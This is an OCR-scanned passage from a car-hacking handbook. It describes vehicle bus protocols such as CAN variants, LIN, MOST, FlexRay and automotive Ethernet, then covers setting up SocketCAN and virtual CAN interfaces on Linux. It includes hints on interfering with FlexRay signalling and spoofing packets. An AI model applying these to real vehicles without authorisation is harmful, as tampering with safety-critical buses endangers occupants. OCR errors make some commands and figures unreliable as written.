which is the second part of the standard 11-bit identifier. There are
additional CAN-style protocols that are specific to some manufacturers, and

they’re also backward compatible with standard CAN in much the same way
as extended CAN.

The ISO-TP Protocol

ISO 15765-2, also known as ISO-TP, is a standard for sending packets over
the CAN bus that extends the 8-byte CAN limit to support up to 4095 bytes
by chaining CAN packets together. The most common use of ISO-TP is for
diagnostics (see “Unified Diagnostic Services” on page 54) and KWP
messages (an alternative protocol to CAN), but it can also be used any time
large amounts of data need to be transferred over CAN. The can-utils
program includes isotptun, a proof-of-concept tunneling tool for
SocketCAN that allows two devices to tunnel IP over CAN. (For a detailed
explanation of how to install and use can-utiis, see “Setting Up can-utils to
Connect to CAN Devices” on page 36.)

In order to encapsulate ISO-TP into CAN, the first byte is used for
extended addressing, leaving only 7 bytes for data per packet. Sending lots of



information over ISO-TP can easily flood the bus, so be careful when using
this standard for large transfers on an active bus.

The CANopen Protocol

Another example of extending the CAN protocol is the CANopen protocol.
CANopen breaks down the 11-bit identifier to a 4-bit function code and 7-
bit node ID—a combination known as a communication object identifier (COB-
ID). A broadcast message on this system has Ox for both the function code
and the node ID. CANopen is seen more in industrial settings than it is in
automotive ones.

If you see a bunch of arbitration IDs of 0x0, you’ve found a good
indicator that the system is using CANopen for communications. CANopen
is very similar to normal CAN but has a defined structure around the
arbitration IDs. For example, heartbeat messages are in the format of 0x700
+ node ID. CANopen networks are slightly easier to reverse and document

than standard CAN bus.

The GMLAN Bus

GMLAN is a CAN bus implementation by General Motors. It’s based on
ISO 15765-2 ISO-TP, just like UDS (see “Unified Diagnostic Services” on
page 54). The GMLAN bus consists of a single-wire low-speed and a dual-
wire high-speed bus. The low-speed bus, a single-wire CAN bus that
operates at 33.33Kbps with a maximum of 32 nodes, was adopted in an
attempt to lower the cost of communication and wiring. It’s used to
transport noncritical information for things like the infotainment center,
HVAC controls, door locks, immobilizers, and so on. In contrast, the high-
speed bus runs at S00Kbps with a maximum of 16 nodes. Nodes in a
GMLAN network relate to the sensors on that bus.

The SAE J1850 Protocol

The SAE J1850 protocol was originally adopted in 1994 and can still be
found in some of today’s vehicles, for example some General Motors and
Chrysler vehicles. These bus systems are older and slower than CAN but
cheaper to implement.



There are two types of J1850 protocols: pulse width modulation (PWM)
and variable pulse width (VPW). Figure 2-5 shows where to find PWM pins
on the OBD-II connector. VPW uses only pin 2.

/ Chassis Ground \ / Signal Ground \

Figure 2-5: PWM pins cable view

The speed is grouped into three classes: A, B, and C. The 10.4Kbps
speeds of PWM and VPW are considered class A, which means they’re
devices marketed exclusively for use in business, industrial, and commercial
environments. (The 10.4Kbps J1850 VPW bus meets the automotive
industry’s requirements for low-radiating emissions.) Class B devices are
marketed for use anywhere, including residential environments and have a
second SAE standard implementation that can communicate at 100Kbps, but
it’s slightly more expensive. The final implementation can operate at up to
1Mbps, and it’s used in class C devices. As you might expect, this third
implementation is the most expensive, and it’s used primarily in real-time
critical systems and media networks.

The PWM Protocol



PWM uses differential signaling on pins 2 and 10 and is mainly used by
Ford. It operates with a high voltage of 5V and at 41.6Kbps, and it uses dual-
wire differential signaling, like CAN.

PMW has a fixed-bit signal, so a 1 is always a high signal and a 0 is always
a low signal. Other than that, the communication protocol is identical to that
of VPW. The differences are the speed, voltage, and number of wires used
to make up the bus.

The VPW Protocol

VPW, a single-wire bus system, uses only pin 2 and is typically used by
General Motors and Chrysler. VPW has a high voltage of 7V and a speed of
10.4Kbps.

When compared with CAN, there are some key differences in the way
VPW interprets data. For one, because VPW uses time-dependent
signaling, receiving 1 bit isn’t determined by just a high potential on the bus.
The bit must remain either high or low for a set amount of time in order to
be considered a single 1 bit or a 0 bit. Pulling the bus to a high position will
put it at around 7V, while sending a low signal will put it to ground or near-
ground levels. This bus also is at a resting, or nontransmission, stage at a
near-ground level (up to 3V).

VPW packets use the format in Figure 2-6.

Header Data Bits CRC
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Figure 2-6: VPW Format

The data section is a set size—always 11 bits followed by a 1-bit CRC
validity check. Table 2-1 shows the meaning of the header bits.

Table 2-1: Meaning of Header Bits

Header bits Meaning Notes

PPP Message priority 000 = Highest, 111 = Lowest



H Header size 0 =3 bytes, 1 = single byte

K In-frame response0 = Required, 1 = Not allowed
Y Addressing mode 0 = Functional, 1 = Physical
77 Message type Will vary based on how K and Y are set

In-frame response (IFR) data may follow immediately after this message.
Normally, an end-of-data (EOD) signal consisting of 200ps-long low-
potential signal would occur just after the CRC, and if IFR data is included,

it'll start immediately after the EOD. If IFR isn’t being used, the EOD will
extend to 280ps, causing an end-of-frame (EOF) signal.

The Keyword Protocol and IS0 9141-2

The Keyword Protocol 2000 (ISO 14230), also known as KIWP2000, uses pin

7 and is common in US vehicles made after 2003. Messages sent using
KWP2000 may contain up to 255 bytes.

The KWP2000 protocol has two variations that differ mainly in baud
initialization. The variations are:

¢ 1SO 14230-4 KWP (5-baud init, 10.4 Kbaud)
¢ 1SO 14230-4 KWP (fast init, 10.4 Kbaud)

ISO 9141-2, or K-Line, is a variation of KWP2000 seen most often in
European vehicles. K-Line uses pin 7 and, optionally, pin 15, as shown in
Figure 2-7. K-Line is a UART protocol similar to serial. UART's use start
bits and may include a parity bit and a stop bit. (If you’ve ever set up a
modem, you should recognize this terminology.)
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Figure 2-7: KWP K-Line pins cable view

Figure 2-8 shows the protocol’s packet layout. Unlike CAN packets, K-
Line packets have a source (transmitter) and a destination (receiver) address.
K-Line can use the same or a similar parameter ID (PID) request structure
as CAN. (For more on PIDs, see “Unified Diagnostic Services” on page 54.)

Header (3 bytes) Data (up to 7 bytes) CRC

Priority | Receiver |Transmitter

Figure 2-8: KWP K-Line packet layout

The Local Interconnect Network Protocol

The Local Interconnect Network (LIN) is the cheapest of the vehicle protocols.
It was designed to complement CAN. It has no arbitration or priority code;
instead, a single master node does all the transmission.



LIN can support up to 16 slave nodes that primarily just listen to the
master node. They do need to respond on occasion, but that’s not their main
function. Often the LIN master node is connected to a CAN bus.

The maximum speed of LIN is 20Kbps. LIN is a single-wire bus that
operates at 12V. You won’t see LIN broken out to the OBD connector, but
it’s often used instead of direct CAN packets to handle controls to simple
devices, so be aware of its existence.

A LIN message frame includes a header, which is always sent by the

master, and a response section, which may be sent by master or slave (see
Figure 2-9).

Header Response

Priority | Receiver | Transmitter Data (0-8 bytes) CRC

Figure 2-9: LIN format

The SYNC field is used for clock synchroniziation. The ID represents
the message contents—that is, the type of data being transmitted. The ID
can contain up to 64 possibilities. ID 60 and 61 are used to carry diagnostic
information.

When reading diagnostic information, the master sends with ID 60 and
the slave responds with ID 61. All 8 bytes are used in diagnostics. The first
byte is called the node address for diagnostics (NAD). The first half of the
byte range (that is, 1-127) is defined for ISO-compliant diagnostics, while
128-255 can be specific to that device.

The MOST Protocol

The Media Oriented Systems Transport (MOST) protocol is designed for
multimedia devices. Typically, MOST is laid out in a ring topology, or
virtual star, that supports a maximum of 64 MOST devices. One MOST
device acts as the timing master, which continuously feeds frames into the
ring.

MOST runs at approximately 23 Mbaud and supports up to 15



uncompressed CD quality audio or MPEGT1 audio/video channels. A
separate control channel runs at 768 Kbaud and sends configuration
messages to the MOST devices.

MOST comes in three speeds: MOST25, MOST50, and MOST150.
Standard MOST, or MOST?25, runs on plastic optical fiber (POF).
Transmission is done through the red light wavelength at 650 nm using an
LED. A similar protocol, MOST50, doubles the bandwidth and increases
the frame length to 1025 bits. MOST50 traffic is usually transported on
unshielded twisted-pair (UTP) cables instead of optical fiber. Finally,
MOST150 implements Ethernet and increases the frame rate to 3072 bits or
150Mbps—approximately six times the bandwidth of MOST25.

Each MOST frame has three channels:
Synchronous Streamed data (audio/video)
Asynchronous Packet distributed data (T'CP/IP)
Control Control and low-speed data (HMI)

In addition to a timing master, a MOS'T network master automatically
assigns addresses to devices, which allows for a kind of plug-and-play
structure. Another unique feature of MOS'T is that, unlike other buses, it
routes packets through separate inport and outport ports.

MOST Network Layers

Unless your goal is to hack a car’s video or audio stream, the MOST
protocol may not be all that interesting to you. That said, MOST does allow
access to the in-vehicle microphone or cell system, as well as traffic
information that’s likely to be of interest to malware authors.

Figure 2-10 shows how MOST is divided up amongst the seven layers of
the Open Systems Interconnection (OSI) model that standardizes
communication over networks. If you’re familiar with other media-based
networking protocols, then MOST may look familiar.
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Figure 2-10: MOST divided into the seven layers of the OSI model. The
OS/ layers are in the right column.

MOST Control Blocks

In MOST25, a block consists of 16 frames. A frame is 512 bits and looks like
the illustration in Figure 2-11.

Frame ;
Precn?ble Boundary Synchronous Data |Asynchronous Data Control Control Purn_'y
4 bits 4 bits 2 bytes 1 byte 1 bit

Figure 2-11: MOSTZ25 frame

Synchronous data contains 6 to 15 quadlets (each quadlet is 4 bytes), and
asynchronous data contains 0 to 9 quadlets. A control frame is 2 bytes, but
after combining a full block, or 16 frames, you end up with 32 bytes of
control data.

An assembled control block is laid out as shown in Figure 2-12.

Arb ID Target | Source M$sscge Data Area CRC Ack Reserved
4 bytes | 2 bytes | 2 bytes : ‘ﬂ:e 17 bytes 2 bytes | 2 bytes | 2 bytes

Figure 2-12: Assembled control block layout



The data area contains the FblockID, InstID, FktID, OP Type, Tel ID,
Tel Len, and 12 bytes of data. FblockIDs are the core component IDs, or
function blocks. For example, an FblockID of 0x52 might be the navigation
system. InstID is the instance of the function block. There can be more than
one core function, such as having two CD changes. InstID differentiates
which core to talk to. FktID is used to query higher-level function blocks.
For instance, a FktID of 0x0 queries a list of function IDs supported by the
function block. OP Type is the type of operation to perform, get, set,
increment, decrement, and so forth. The Tel ID and Len are the type of
telegram and length, respectively. Telegram types represent a single transfer
or a multipacket transfer and the length of the telegram itself.

MOSTS50 has a similar layout to MOST25 but with a larger data section.
MOST150 provides two additional channels: Ethernet and Isochronous.
Ethernet works like normal TCP/IP and Appletalk setups. Isochronous has
three mechanisms: burst mode, constant rate, and packet streaming.

Hacking MOST

MOST can be hacked from a device that already supports it, such as through
a vehicle’s infotainment unit or via an onboard MOSTT controller. The
Linux-based project most4linux provides a kernel driver for MOST PCI
devices and, as of this writing, supports Siemens CT SE 2 and OASIS
Silicon Systems or SMSC PCI cards. The most4linux driver allows for user-
space communication over the MOST network and links to the Advanced
Linux Sound Architecture (ALSA) framework to read and write audio data.
At the moment, most4linux should be considered alpha quality, but it
includes some example utilities that you may be able to build upon, namely:

most_aplay Plays a .wav file

ctrl_tx Sends a broadcast control message and checks status
sync_tx Constantly transmits

sync_rx Constantly receives

The current most4linux driver was written for 2.6 Linux kernels, so you
may have your work cut out for you if you want to make a generic sniffer.
MOST is rather expensive to implement, so a generic sniffer won’t be cheap.



The FlexRay Bus

FlexRay is a high-speed bus that can communicate at speeds of up to
10Mbps. It’s geared for time-sensitive communication, such as drive-by-
wire, steer-by-wire, brake-by-wire, and so on. FlexRay is more expensive to
implement than CAN, so most implementations use FlexRay for high-end
systems, CAN for midrange, and LIN for low-cost devices.

Hardware

FlexRay uses twisted-pair wiring but can also support a dual-channel setup,
which can increase fault tolerance and bandwidth. However, most FlexRay
implementations use only a single pair of wiring similar to CAN bus
implementations.

Network Topology

FlexRay supports a standard bus topology, like CAN bus, where many ECUs
run off a twisted-pair bus. It also supports star topology, like Ethernet, that
can run longer segments. When implemented in the star topology, a
FlexRay hub is a central, active FlexRay device that talks to the other nodes.
In a bus layout, FlexRay requires proper resistor termination, as in a
standard CAN bus. The bus and star topologies can be combined to create a
hybrid layout if desired.

Implementation

When creating a FlexRay network, the manufacturer must tell the devices
about the network setup. Recall that in a CAN network each device just
needs to know the baud rate and which IDs it cares about (if any). In a bus
layout, only one device can talk on the bus at a time. In the case of the CAN
bus, the order of who talks first on a collision is determined by the
arbitration ID.

In contrast, when FlexRay is configured to talk on a bus, it uses
something called a time division multiple access ('DMA) scheme to guarantee
determinism: the rate is always the same (deterministic), and the system
relies on the transmitters to fill in the data as the packets pass down the wire,



similar to the way cellular networks like GSM operate. FlexRay devices don’t
automatically detect the network or addresses on the network, so they must
have that information programed in at manufacturing time.

While this static addressing approach cuts down on cost during
manufacturing, it can be tricky for a testing device to participate on the bus
without knowing how the network is configured, as a device added to your
FlexRay network won’t know what data is designed to go into which slots.
To address this problem, specific data exchange formats, such as the Field
Bus Exchange Format (FIBEX), were designed during the development of
FlexRay.

FIBEX is an XML format used to describe FlexRay, as well as CAN,
LIN, and MOST network setups. FIBEX topology maps record the ECUs
and how they are connected via channels, and they can implement gateways
to determine the routing behavior between buses. These maps can also
include all the signals and how they’re meant to be interpreted.

FIBEX data is used during firmware compile time and allows developers
to reference the known network signals in their code; the compiler handles
all the placement and configuration. To view a FIBEX, download FIBEX
Explorer from hetp://sourceforge.net/projects/fibexplorer/.

FlexRay Cycles

A FlexRay cycle can be viewed as a packet. The length of each cycle is
determined at design time and should consist of four parts, as shown in
Figure 2-13.

Static Dynamic Symbol Window | Idle

Figure 2-13: Four parts of a FlexRay cycle

The static segment contains reserved slots for data that always represent
the same meaning. The dynamic segment slots contain data that can have
different representations. The symbol window is used by the network for
signaling, and the idle segment (quiet time) is used for synchronization.

The smallest unit of time on FlexRay is called a macrotick, which is


http://sourceforge.net/projects/fibexplorer/

typically one millisecond. All nodes are time synced, and they trigger their
macrotick data at the same time.

The static section of a FlexRay cycle contains a set amount of slots to
store data, kind of like empty train cars. When an ECU needs to update a
static data unit, it fills in its defined slot or car; every ECU knows which car
is defined for it. This system works because all of the participants on a
FlexRay bus are time synchronized.

The dynamic section is split up into minislots, typically one macrotick
long. The dynamic section is usually used for less important, intermittent
data, such as internal air temperature. As a minislot passes, an ECU may
choose to fill the minislots with data. If all the minislots are full, the ECU
must wait for the next cycle.

In Figure 2-14, the FlexRay cycles are represented as train cars.
Transmitters responsible for filling in information for static slots do so when
the cycle passes, but dynamic slots are filled in on a first-come, first-served
basis. All train cars are the same size and represent the time deterministic
properties of FlexRay.

Transmitters

l T T

IEq IIIIET) | [T | M) | [ [II
Static Dynamic Static Dynamic Static  Dynamic Static  Dynamic
Cycle Cycle Cycle Cycle

-
Figure 2-14: FlexRay train representing cycles

The symbol window isn’t normally used directly by most FlexRay
devices, which means that when thinking like a hacker, you should definitely
mess with this section. FlexRay clusters work in states that are controlled by
the FlexRay state manager. According to AUTOSAR 4.2.1 Standard, these
states are as follows: ready, wake-up, start-up, halt-req, online, online-
passive, keyslot-only, and low-number-of-coldstarters.

While most states are obvious, some need further explanation.
Specifically, online is the normal communication state, while online-passive
should only occur when there are synchronization errors. In online-passive



mode, no data is sent or received. Keyslot-only means that data can be
transmitted only in the key slots. Low-number-of-coldstarters means that
the bus is still operating in full communication mode but is relying on the
sync frames only. There are additional operational states, too, such as config,
sleep, receive only, and standby.

Packet Layout

The actual packet that FlexRay uses contains several fields and fits into the
cycle in the static or dynamic slot (see Figure 2-15).

Header Payload CRC

Payload | Header | Cycle
Length CRC Count | Payload Llength x 2 bytes | 3 bytes
7 bits | 11 bits | 6 bits

Status | Frame ID
5 bits 11 bits

Figure 2-15: FlexRay packet layout

The status bits are:

* Reserved bit

* Payload preamble indicator
* NULL frame indicator

* Sync frame indicator

* Startup frame indicator

The frame ID is the slot the packet should be transmitted in when used
for static slots. When the packet is destined for a dynamic slot (1-2047), the
frame ID represents the priority of this packet. If two packets have the same
signal, then the one with the highest priority wins. Payload length is the
number in words (2 bytes), and it can be up to 127 words in length, which
means that a FlexRay packet can carry 254 bytes of data—more than 30
times that of a CAN packet. Header CRC should be obvious, and the cycle
count is used as a communication counter that increments each time a
communication cycle starts.

One really neat thing about static slots is that an ECU can read earlier



static slots and output a value based on those inputs in the same cycle. For
instance, say you have a component that needs to know the position of each
wheel before it can output any needed adjustments. If the first four slots in a
static cycle contain each wheel position, the calibration ECU can read them
and still have time to fill in a later slot with any adjustments.

Sniffing a FlexRay Network

As of this writing, Linux doesn’t have official support for FlexRay, but there
are some patches from various manufacturers that add support to certain
kernels and architectures. (Linux has FlexCAN support, but FlexCAN is a
CAN bus network inspired by FlexRay.)

At this time, there are no standard open source tools for sniffing a
FlexRay network. If you need a generic tool to sniff FlexRay traffic, you
currently have to go with a proprietary product that’ll cost a lot. If you want
to monitor a FlexRay network without a FIBEX file, you’ll at /east need to
know the baud rate of the bus. Ideally, you’ll also know the cycle length (in
milliseconds) and, if possible, the size of the cluster partitioning (static-to-
dynamic ratio). Technically, a FlexRay cluster can have up to 1048
configurations with 74 parameters. You'll find the approach to identifying
these parameters detailed in the paper “Automatic Parameter Identification
in FlexRay based Automotive Communication Networks” IEEE, 2006) by
Eric Armengaud, Andreas Steininger, and Martin Horauer.

When spoofing packets on a FlexRay network with two channels, you
need to simultaneously spoof both. Also, you’ll encounter FlexRay
implementations called Bus Guardian that are designed to prevent flooding
or monopolization of the bus by any one device. Bus Guardian works at the
hardware level via a pin on the FlexRay chip typically called Bus Guardian
Enable (BGE). This pin is often marked as optional, but the Bus Guardian
can drive this pin too high to disable a misbehaving device.

Automotive Ethernet

Because MOS'T and FlexRay are expensive and losing support (the FlexRay
consortium appears to have disbanded), most newer vehicles are moving to

Ethernet. Ethernet implementations vary, but they’re basically the same as

what you’d find in a standard computer network. Often, CAN packets are



encapsulated as UDP, and audio is transported as voice over IP (VoIP).
Ethernet can transmit data at speeds up to 10Gbps, using nonproprietary
protocols and any chosen topology.

While there’s no common standard for CAN traffic, manufacturers are
starting to use the IEEE 802.1AS Audio Video Bridging (AVB) standard.
This standard supports quality of service (QoS) and traffic shaping, and it
uses time-synchronized UDP packets. In order to achieve this
synchronization, the nodes follow a best master clock algorithm to determine
which node is to be the timing master. The master node will normally sync
with an outside timing source, such as GPS or (worst case) an on-board
oscillator. The master syncs with the other nodes by sending timed packets
(10 milliseconds), the slave responds with a delay request, and the time offset
is calculated from that exchange.

From a researcher’s perspective, the only challenge with vehicle Ethernet
lies in figuring out how to talk to the Ethernet. You may need to make or
buy a custom cable to communicate with vehicle Ethernet cables because
they won’t look like the standard twisted-pair cables that you’d find in a
networking closet. Typically, a connector will just be wires like the ones you
find connected to an ECU. Don’t expect the connectors to have their own
plug, but if they do, it won’t look like an RJ-45 connector. Some exposed
connectors are actually round, as shown in Figure 2-16.

Figure 2-16: Round Ethernet connectors



0BD-Il Connector Pinout Maps

The remaining pins in the OBD-II pinout are manufacturer specific.
Mappings vary by manufacturer, and these are just guidelines. Your pinout
could differ depending on your make and model. For example, Figure 2-17
shows a General Motors pinout.

/ Chassis Ground \ / Signal Ground \
/ MSCANHigh "\ i

/ISCAN Higlw

O e 66 u 66 @
(

KWP K-Line

( LS-CAN Low\
)

& \

&

L ®@ @ @ @ @

— § T
KWP LLine ~ /

\ A 7

Figure 2-17: Complete OBD pinout cable view for a General Motors
vehicle

Notice that the OBD connector can have more than one CAN line, such
as a low-speed line (LS-CAN) or a mid-speed one (MS-CAN). Low-speed
operates around 33Kbps, mid-speed is around 128Kbps, and high-speed
(HS-CAN) is around 500Kbps.

Often you’ll use a DB9-to-OBDII connector when connecting your



sniffer to your vehicle’s OBD-II connector. Figure 2-18 shows the plug
view, not that of the cable.

/ CAN Ground \
/" CAN Low

Mot Connected

\_* Ground IJ

\ CAN H igh Mot Connected

Figure 2-18: Typical DB9 connector plug view. An asterisk (*) means that
the pin is optional. A DB9 adapter can have as few as three pins
connected.

This pinout is a common pinout in the United Kingdom, and if you’re
making a cable yourself, this one will be the easiest to use. However, some
sniffers, such as many Arduino shields, expect the US-style DB9 connector
(see Figure 2-19).
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Figure 2-19: US-style DB9 connector, plug view

The US version has more features and gives you more access to other
OBD connectors besides just CAN. Luckily, power is pin 9 on both style
connectors, so you shouldn’t fry your sniffer if you happen to grab the
wrong cable. Some sniffers, such as CANtact, have jumpers that you can set
depending on which style cable you’re using.

The OBD-IIl Standard

OBD-III is a rather controversial evolution of the OBD-II standard. OBD-II
was originally designed to be compliant with emissions testing (at least from
the regulators’ perspective), but now that the powertrain control module
(PCM) knows whether a vehicle is within guidelines, we’re still left with the
inconvenience of the vehicle owner having to go for testing every other year.
The OBD-III standard allows the PCM to communicate its status remotely
without the owner’s interaction. This communication is typically



accomplished through a roadside transponder, but cell phones and satellite
communications work as well.

The California Air Resources Board (CARB) began testing roadside
readers for OBD-III in 1994 and is capable of reading vehicle data from
eight lanes of traffic traveling at 100 miles per hour. If a fault is detected in
the system, it’ll transmit the diagnostic trouble codes (D'T'C) and vehicle
identification numbers (VIN) to a nearby transponder (see “Diagnostic
Trouble Codes” on page 52). The idea is to have the system report that
pollutants are entering the atmosphere without having to wait up to two
years for an emissions check.

Most implementations of OBD-III are manufacturer specific. The vehicle
phones home to the manufacturer with faults and then contacts the owner to
inform them of the need for repairs. As you might imagine, this system has
some obvious legal questions that still need to be answered, including the
risk of mass surveillance of private property. Certainly, there’s lots of room
for abuses by law enforcement, including speed traps, tracking,
immobilization, and so on.

Some submitted request for proposals to integrate OBD-III into vehicles
claim to use transponders to store the following information:

* Date and time of current query

* Date and time of last query

* VIN

* Status, such as “OK,” “ITrouble,” or “No response”

* Stored codes (D'T'Cs)

® Receiver station number

It’s important to note that even if OBD-III sends only D'TC and VIN,
it’s trivial to add additional metadata, such as location, time, and history of
the vehicle passing the transponder. For the most part, OBD-III is the
bogeyman under the bed. As of this writing, it has yet to be deployed with a
transponder approach, although phone-home systems such as OnStar are
being deployed to notify the car dealer of various security or safety issues.

Summary



When working on your target vehicle, you may run into a number of
different buses and protocols. When you do, examine the pins that your
OBD-II connector uses for your particular vehicle to help you determine
what tools you’ll need and what to expect when reversing your vehicle’s
network.

I’ve focused in this chapter on easily accessible buses via the OBD-11
connector, but you should also look at your vehicle wiring diagrams to
determine where to find other bus lines between sensors. Not all bus lines
are exposed via the OBD-II connector, and when looking for a certain
packet, it may be easier to locate the module and bus lines leaving a specific
module in order to reverse a particular packet. (See Chapter 7 for details on
how to read wiring diagrams.)



3

VEHICLE COMMUNICATION WITH
SOCKETCAN

When you begin using a CAN for vehicle communications, you may well
find it to be a hodgepodge of different drivers and software utilities. The
ideal would be to unify the CAN tools and their different interfaces into a
common interface so we could easily share information between tools.

Luckily, there’s a set of tools with a common interface, and it’s free! If
you have Linux or install Linux on a virtual machine (VM), you already have
this interface. The interface, called SocketCAN, was created on the Open
Source development site BerliOS in 2006. Today, the term SocketCAN is
used to refer to the implementation of CAN drivers as network devices, like
Ethernet cards, and to describe application access to the CAN bus via the
network socket—programming interface. In this chapter we’ll set up
SocketCAN so that we’re more easily able to communicate with the vehicle.

Volkswagen Group Research contributed the original SocketCAN
implementation, which supports built-in CAN chips and card drivers,
external USB and serial CAN devices, and virtual CAN devices. The can-
utils package provides several applications and tools to interact with the
CAN network devices, CAN-specific protocols, and the ability to set up a
virtual CAN environment. In order to test many of the examples in this



book, install a recent version in a Linux VM on your system. The newest
versions of Ubuntu have can-utiis in their standard repositories.

SocketCAN ties into the Linux networking stack, which makes it very
easy to create tools to support CAN. SocketCAN applications can use
standard C socket calls with a custom network protocol family, pr_can. This
functionality allows the kernel to handle CAN device drivers and to interface
with existing networking hardware to provide a common interface and user-
space utilities.

Figure 3-1 compares the implementation of traditional CAN software
with that of a unified SocketCAN.
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Figure 3-1: SocketCAN layout (left) and traditional CAN software (right)

With traditional CAN software, the application has its own protocol that
typically talks to a character device, like a serial driver, and then the actual
hardware driver. On the left of the figure, SocketCAN is implemented in the
Linux kernel. By creating its own CAN protocol family, SocketCAN can
integrate with the existing network device drivers, thus enabling applications
to treat a CAN bus interface as if it’s a generic network interface.

Setting Up can-utils to Connect to CAN Devices



In order to install can-utils, you must be running a Linux distribution from
2008 or later or one running the 2.6.25 Linux kernel or higher. First we’ll
install can-uti1s, then cover how to configure it for your particular setup.

Installing can-utils

You should be able to use your package manager to install can-utiis. Here’s
a Debian/Ubuntu example:

S sudo apt-get install can-utils

If you don’t have can-utils in your package manager, install it from
source with the git command:

S git clone https://github.com/linux-can/can-utils

As of this writing, can-utils has configure, make, and make install files, but
in older versions, you’d just enter nake to install from source.

Configuring Built-In Chipsets

The next step depends on your hardware. If you're looking for a CAN
sniffer, you should check the list of supported Linux drivers to ensure your
device is compatible. As of this writing, the Linux built-in CAN drivers
support the following chipsets:

* Atmel AT91SAM SoCs

* Bosch CC770

e ESD CAN-PCI/331 cards

* Freescale FlexCAN

® Freescale MPC52xx SoCs (MSCAN)
* Intel AN82527

® Microchip MCP251x

* NXP (Philips) SJA1000

* TTs SoCs



CAN controllers, like the SJA1000, are usually built into ISA, PCI, and
PCMCIA cards or other embedded hardware. For example, the EMS
PCMCIA card driver implements access to its SJA1000 chip. When you
insert the EMS PCMCIA card into a laptop, the ens_pcmcia module loads
into the kernel, which then requires the sja1000 module and the can_gev
module to be loaded. The can_dev module provides standard configuration
interfaces—for example, for setting bit rates for the CAN controllers.

The Linux kernel’s modular concept also applies to CAN hardware
drivers that attach CAN controllers via bus hardware, such as the kvaser_pci,
peak_pci, and so on. When you plug in a supported device, these modules
should automatically load, and you should see them when you enter the
1smod command. USB drivers, like usbsdev, usually implement a proprietary
USB communication protocol and, therefore, do not load a CAN controller
driver.

For example, when you plug in a PEAK-System PCAN-USB adapter, the
can_dev module loads and the peak_usb module finalizes its initialization.
Using the display message command dmesg, you should see output similar to
this:

S dmesg

--snip --

[ 8603.743057] CAN device driver interface

[ 8603.748745] peak_usb 3-2:1.0: PEAK-System PCAN-USB adapter hwrev 28
serial

FFFFFFFF (1 channel)

[ 8603.749554] peak_usb 3-2:1.0 can0O: attached to PCAN-USB channel 0
(device

255)

[ 8603.749664] usbcore: registered new interface driver peak_usb

You can verify the interface loaded properly with ifconfig and ensure a
can0 interface is now present:

S ifconfig can0

can0 Link encap:UNSPEC Hwaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00

UP RUNNING NOARP MTU:16 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txgueuelen:10

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)




Now set the CAN bus speed. (You’ll find more information on bus speeds
in Chapter 5.) The key component you need to set is the bit rate. This is the
speed of the bus. A typical value for high-speed CAN (HS-CAN) is
500Kbps. Values of 250Kbps or 125Kbps are typical for lower-speed CAN

buses.

S sudo ip link set can0 type can bitrate 500000
S sudo ip link set up can0

Once you bring up the cano device, you should be able to use the tools
from can-utils on this interface. Linux uses netlink to communicate
between the kernel and user-space tools. You can access netlink with the ip
1ink command. To see all the netlink options, enter the following:

S ip link set can0 type can help

If you begin to see odd behavior, such as a lack of packet captures and
packet errors, the interface may have stopped. If you’re working with an
external device, just unplug or reset. If the device is internal, run these
commands to reset it:

S sudo ip link set canX type can restart-ms 100
S sudo ip link set canX type can restart

Configuring Serial CAN Devices

External CAN devices usually communicate via serial. In fact, even USB
devices on a vehicle often communicate through a serial interface—typically
an FTDI chip from Future Technology Devices International, Ltd.

The following devices are known to work with SocketCAN:
* Any device that supports the LAWICEL protocol
* CAN232/CANUSB serial adapters (http://www.can232.com/)
* VSCOM USB-to-serial adapter (bttp://www.vscom.de/usb-to-can.btm)
* CANtact (bttp://cantact.io)

—
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If you’re using an Arduino or building your own sniffer, you must implement
the LAWICEL protocol—also known as the SLCAN protocol—in your
firmware in ovder for your device to work. For details, see
http://www.can232.com/docs/canusb_manual.pdf and
https://github.com/linux-can/can-misc/blob/master/docs/SLCAN-
APLpdf.

In order to use one of the USB-to-serial adapters, you must first initialize

both the serial hardware and the baud rate on the CAN bus:

$ slcand -o -s6 -t hw -S 3000000 /dev/ttyUSBO
$ ip link set up slcan0

The sicana daemon provides the interface needed to translate serial
communication to the network driver, sicano. The following options can be
passed to slcand:

-o Opens the device
-s6 Sets the CAN bus baud rate and speed (see Table 3-1)

-t hw Specifies the serial flow control, either rw (hardware) or sw
(software)

-s 3000000 Sets the serial baud, or bit rate, speed

/dev/ttyusBo Your USB FTDI device

Table 3-1 lists the numbers passed to -s and the corresponding baud
rates.

Table 3-1: Numbers and Corresponding Baud Rates

Number Baud

0 10Kbps

1 20Kbps
2 50Kbps

3 100Kbps
4 125Kbps
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5 250Kbps
6 500Kbps
7 800Kbps
8 1Mbps

As you can see, entering -s6 prepares the device to communicate with a
500Kbps CAN bus network.

With these options set, you should now have an s1cano device. To
confirm, enter the following:

S ifconfig slcan0

slcan0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00

NOARP MTU:16 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txgqueuelen:10

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

Most of the information returned by ifconfig is set to generic default
values, which may be all Os. This is normal. We’re simply making sure that
we can see the device with ifconfig. If we see an sicano device, we know that
we should be able to use our tools to communicate over serial with the CAN
controller.

At this point, it may be good to see whether your physical sniffer device has
additional lights. Often a CAN sniffer will have green and red lights to
signify that it can communicate correctly with the CAN bus. Your CAN device
must be plugged in to your computer and the vebicle in order for these lights to
function properly. Not all devices have these lights. (Check your device’s
manual.)

Setting Up a Virtual CAN Network

If you don’t have CAN hardware to play with, fear not. You can set up a
virtual CAN network for testing. To do so, simply load the vcan module.




S modprobe vcan

If you check amesg, you shouldn’t see much more than a message like this:

S dmesg
[604882.283392] vcan: Virtual CAN interface driver

Now you just set up the interface as discussed in “Configuring Built-In
Chipsets” on page 37 but without specifying a baud rate for the virtual
interface.

S ip link add dev vcan0 type vcan
$ ip link set up vcan0

To verify your setup, enter the following:

S ifconfig vcan0

vcan0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00

UP RUNNING NOARP MTU:16 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
